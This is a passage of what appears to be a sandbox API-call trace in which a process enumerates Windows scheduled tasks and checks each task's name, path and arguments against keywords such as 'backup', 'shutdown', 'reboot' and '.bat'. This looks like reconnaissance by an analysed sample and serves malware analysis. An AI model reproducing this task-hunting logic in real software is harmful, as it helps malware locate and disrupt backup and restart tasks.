_SubStr="reboot") returned 0x0 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0194.909] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0194.909] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0194.909] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRegisterSearch $(Arg0)") returned 0x0 [0194.909] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="reboot") returned 0x0 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="restart") returned 0x0 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="shutdown") returned 0x0 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="logoff") returned 0x0 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".bat") returned 0x0 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="backup") returned 0x0 [0194.910] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".cmd") returned 0x0 [0194.910] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0194.910] IUnknown:Release (This=0x2463688) returned 0x2 [0194.910] IUnknown:Release (This=0x2463688) returned 0x1 [0194.910] IUnknown:Release (This=0x47feb0) returned 0x1 [0194.910] IUnknown:Release (This=0x47fe38) returned 0x0 [0194.910] IUnknown:Release (This=0x47fd88) returned 0x0 [0194.910] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0194.910] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ReindexSearchRoot") returned 0x0 [0194.910] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.911] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr="reboot") returned 0x0 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr="restart") returned 0x0 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr="shutdown") returned 0x0 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr="logoff") returned 0x0 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr=".bat") returned 0x0 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr="backup") returned 0x0 [0194.912] wcsstr (_Str="reindexsearchroot", _SubStr=".cmd") returned 0x0 [0194.912] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0194.912] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0194.919] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0194.919] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0194.919] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0194.919] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0194.919] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0194.919] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0194.919] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0194.919] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0194.919] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0194.919] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoReindexSearchRoot") returned 0x0 [0194.919] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6cab08 [0194.919] wcsstr (_Str="/doreindexsearchroot", _SubStr="reboot") returned 0x0 [0194.920] wcsstr (_Str="/doreindexsearchroot", _SubStr="restart") returned 0x0 [0194.920] wcsstr (_Str="/doreindexsearchroot", _SubStr="shutdown") returned 0x0 [0194.920] wcsstr (_Str="/doreindexsearchroot", _SubStr="logoff") returned 0x0 [0194.920] wcsstr (_Str="/doreindexsearchroot", _SubStr=".bat") returned 0x0 [0194.920] wcsstr (_Str="/doreindexsearchroot", _SubStr="backup") returned 0x0 [0194.920] wcsstr (_Str="/doreindexsearchroot", _SubStr=".cmd") returned 0x0 [0194.920] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0194.920] IUnknown:Release (This=0x2463688) returned 0x2 [0194.920] IUnknown:Release (This=0x2463688) returned 0x1 [0194.920] IUnknown:Release (This=0x47fec0) returned 0x1 [0194.920] IUnknown:Release (This=0x47fe48) returned 0x0 [0194.920] IUnknown:Release (This=0x47fd88) returned 0x0 [0194.920] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0194.920] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SqlLiteRecoveryTask") returned 0x0 [0194.920] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.921] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr="restart") returned 0x0 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr="backup") returned 0x0 [0194.922] wcsstr (_Str="sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0194.922] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0194.922] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0194.927] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0194.927] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0194.927] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0194.927] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0194.927] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0194.927] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0194.927] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2818 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0194.927] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0194.927] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0194.927] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-SqlLiteRecoveryTask") returned 0x0 [0194.927] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6cab08 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr="restart") returned 0x0 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr="backup") returned 0x0 [0194.927] wcsstr (_Str="-sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0194.927] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0194.928] IUnknown:Release (This=0x2463688) returned 0x2 [0194.928] IUnknown:Release (This=0x2463688) returned 0x1 [0194.928] IActionCollection:get_Item (in: This=0x47fec0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0194.928] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0194.928] IUnknown:Release (This=0x24636c8) returned 0x1 [0194.928] IUnknown:Release (This=0x47fec0) returned 0x1 [0194.928] IUnknown:Release (This=0x47fe48) returned 0x0 [0194.928] IUnknown:Release (This=0x47fd88) returned 0x0 [0194.928] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x15, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0194.928] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateRecordPath") returned 0x0 [0194.928] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.929] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0194.929] wcsstr (_Str="updaterecordpath", _SubStr="reboot") returned 0x0 [0194.929] wcsstr (_Str="updaterecordpath", _SubStr="restart") returned 0x0 [0194.929] wcsstr (_Str="updaterecordpath", _SubStr="shutdown") returned 0x0 [0194.929] wcsstr (_Str="updaterecordpath", _SubStr="logoff") returned 0x0 [0194.930] wcsstr (_Str="updaterecordpath", _SubStr=".bat") returned 0x0 [0194.930] wcsstr (_Str="updaterecordpath", _SubStr="backup") returned 0x0 [0194.930] wcsstr (_Str="updaterecordpath", _SubStr=".cmd") returned 0x0 [0194.930] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0194.930] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0194.934] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0194.934] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0194.934] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0194.934] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0194.934] IUnknown:QueryInterface (in: This=0x24636c8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24636c8) returned 0x0 [0194.934] IExecAction:get_Path (in: This=0x24636c8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0194.934] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0194.934] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0194.935] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0194.935] IExecAction:get_Arguments (in: This=0x24636c8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoUpdateRecordPath $(Arg0)") returned 0x0 [0194.935] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="reboot") returned 0x0 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="restart") returned 0x0 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="shutdown") returned 0x0 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="logoff") returned 0x0 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".bat") returned 0x0 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr="backup") returned 0x0 [0194.935] wcsstr (_Str="/doupdaterecordpath $(arg0)", _SubStr=".cmd") returned 0x0 [0194.935] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0194.935] IUnknown:Release (This=0x24636c8) returned 0x2 [0194.935] IUnknown:Release (This=0x24636c8) returned 0x1 [0194.935] IUnknown:Release (This=0x47fec0) returned 0x1 [0194.935] IUnknown:Release (This=0x47fe48) returned 0x0 [0194.935] IUnknown:Release (This=0x47fd88) returned 0x0 [0194.935] IUnknown:Release (This=0x47fd00) returned 0x0 [0194.935] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fd00) returned 0x0 [0194.936] ITaskFolderCollection:get_Count (in: This=0x47fd00, pCount=0x5cfa40 | out: pCount=0x5cfa40*=1) returned 0x0 [0194.936] ITaskFolderCollection:get_Item (in: This=0x47fd00, index=0x5cfa1c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppFolder=0x5cfa44 | out: ppFolder=0x5cfa44*=0x2460180) returned 0x0 [0194.936] ITaskFolder:GetTasks (in: This=0x2460180, flags=0, ppTasks=0x5cf9e4 | out: ppTasks=0x5cf9e4*=0x2463648) returned 0x0 [0194.938] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9c0 | out: pCount=0x5cf9c0*=0) returned 0x0 [0194.938] IUnknown:Release (This=0x2463648) returned 0x0 [0194.938] ITaskFolder:GetFolders (in: This=0x2460180, flags=0, ppFolders=0x5cfa20 | out: ppFolders=0x5cfa20*=0x47fdf0) returned 0x0 [0194.939] ITaskFolderCollection:get_Count (in: This=0x47fdf0, pCount=0x5cfa14 | out: pCount=0x5cfa14*=0) returned 0x0 [0194.939] IUnknown:Release (This=0x47fdf0) returned 0x0 [0194.939] TaskScheduler:IUnknown:Release (This=0x2460180) returned 0x0 [0194.939] IUnknown:Release (This=0x47fd00) returned 0x0 [0194.939] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0194.939] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0194.939] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0194.940] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0194.940] IUnknown:Release (This=0x2463648) returned 0x0 [0194.940] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0194.940] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0194.940] IUnknown:Release (This=0x47fcb8) returned 0x0 [0194.940] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0194.940] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0194.940] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0194.941] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0194.941] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd00) returned 0x0 [0194.941] IRegisteredTask:get_Name (in: This=0x47fd00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="HotStart") returned 0x0 [0194.941] IRegisteredTask:get_State (in: This=0x47fd00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.942] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0194.942] wcsstr (_Str="hotstart", _SubStr="reboot") returned 0x0 [0194.942] wcsstr (_Str="hotstart", _SubStr="restart") returned 0x0 [0194.942] wcsstr (_Str="hotstart", _SubStr="shutdown") returned 0x0 [0194.942] wcsstr (_Str="hotstart", _SubStr="logoff") returned 0x0 [0194.943] wcsstr (_Str="hotstart", _SubStr=".bat") returned 0x0 [0194.943] wcsstr (_Str="hotstart", _SubStr="backup") returned 0x0 [0194.943] wcsstr (_Str="hotstart", _SubStr=".cmd") returned 0x0 [0194.943] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.943] IRegisteredTask:get_Definition (in: This=0x47fd00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fda0) returned 0x0 [0194.948] ITaskDefinition:get_Actions (in: This=0x47fda0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fe18) returned 0x0 [0194.948] IActionCollection:get_Count (in: This=0x47fe18, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0194.948] IActionCollection:get_Item (in: This=0x47fe18, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0194.948] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0194.948] IUnknown:Release (This=0x2463748) returned 0x1 [0194.948] IUnknown:Release (This=0x47fe18) returned 0x1 [0194.948] IUnknown:Release (This=0x47fda0) returned 0x0 [0194.948] IUnknown:Release (This=0x47fd00) returned 0x0 [0194.948] IUnknown:Release (This=0x24636c8) returned 0x0 [0194.948] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0194.948] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0194.948] IUnknown:Release (This=0x47fcb8) returned 0x0 [0194.948] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0194.948] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0194.949] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0194.949] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0194.949] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fcf0) returned 0x0 [0194.949] IRegisteredTask:get_Name (in: This=0x47fcf0, pName=0x5cf9f8 | out: pName=0x5cf9f8*="LPRemove") returned 0x0 [0194.949] IRegisteredTask:get_State (in: This=0x47fcf0, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0194.951] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0194.951] wcsstr (_Str="lpremove", _SubStr="reboot") returned 0x0 [0194.951] wcsstr (_Str="lpremove", _SubStr="restart") returned 0x0 [0194.951] wcsstr (_Str="lpremove", _SubStr="shutdown") returned 0x0 [0194.951] wcsstr (_Str="lpremove", _SubStr="logoff") returned 0x0 [0194.951] wcsstr (_Str="lpremove", _SubStr=".bat") returned 0x0 [0194.951] wcsstr (_Str="lpremove", _SubStr="backup") returned 0x0 [0194.951] wcsstr (_Str="lpremove", _SubStr=".cmd") returned 0x0 [0194.953] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0194.953] IRegisteredTask:get_Definition (in: This=0x47fcf0, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fd80) returned 0x0 [0194.958] ITaskDefinition:get_Actions (in: This=0x47fd80, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fdf8) returned 0x0 [0194.958] IActionCollection:get_Count (in: This=0x47fdf8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0194.958] IActionCollection:get_Item (in: This=0x47fdf8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0194.958] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0194.958] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0194.958] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\lpremove.exe") returned 0x0 [0194.958] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2818 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="reboot") returned 0x0 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="restart") returned 0x0 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="shutdown") returned 0x0 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="logoff") returned 0x0 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".bat") returned 0x0 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr="backup") returned 0x0 [0194.958] wcsstr (_Str="%windir%\\system32\\lpremove.exe", _SubStr=".cmd") returned 0x0 [0194.958] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0194.958] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0194.959] IUnknown:Release (This=0x2463748) returned 0x2 [0194.959] IUnknown:Release (This=0x2463748) returned 0x1 [0194.959] IUnknown:Release (This=0x47fdf8) returned 0x1 [0194.959] IUnknown:Release (This=0x47fd80) returned 0x0 [0194.959] IUnknown:Release (This=0x47fcf0) returned 0x0 [0194.959] IUnknown:Release (This=0x2463648) returned 0x0 [0194.959] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x47fcb8) returned 0x0 [0194.959] ITaskFolderCollection:get_Count (in: This=0x47fcb8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0194.959] IUnknown:Release (This=0x47fcb8) returned 0x0 [0194.959] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0194.959] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0194.959] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0194.960] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0194.960] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd48) returned 0x0 [0194.960] IRegisteredTask:get_Name (in: This=0x47fd48, 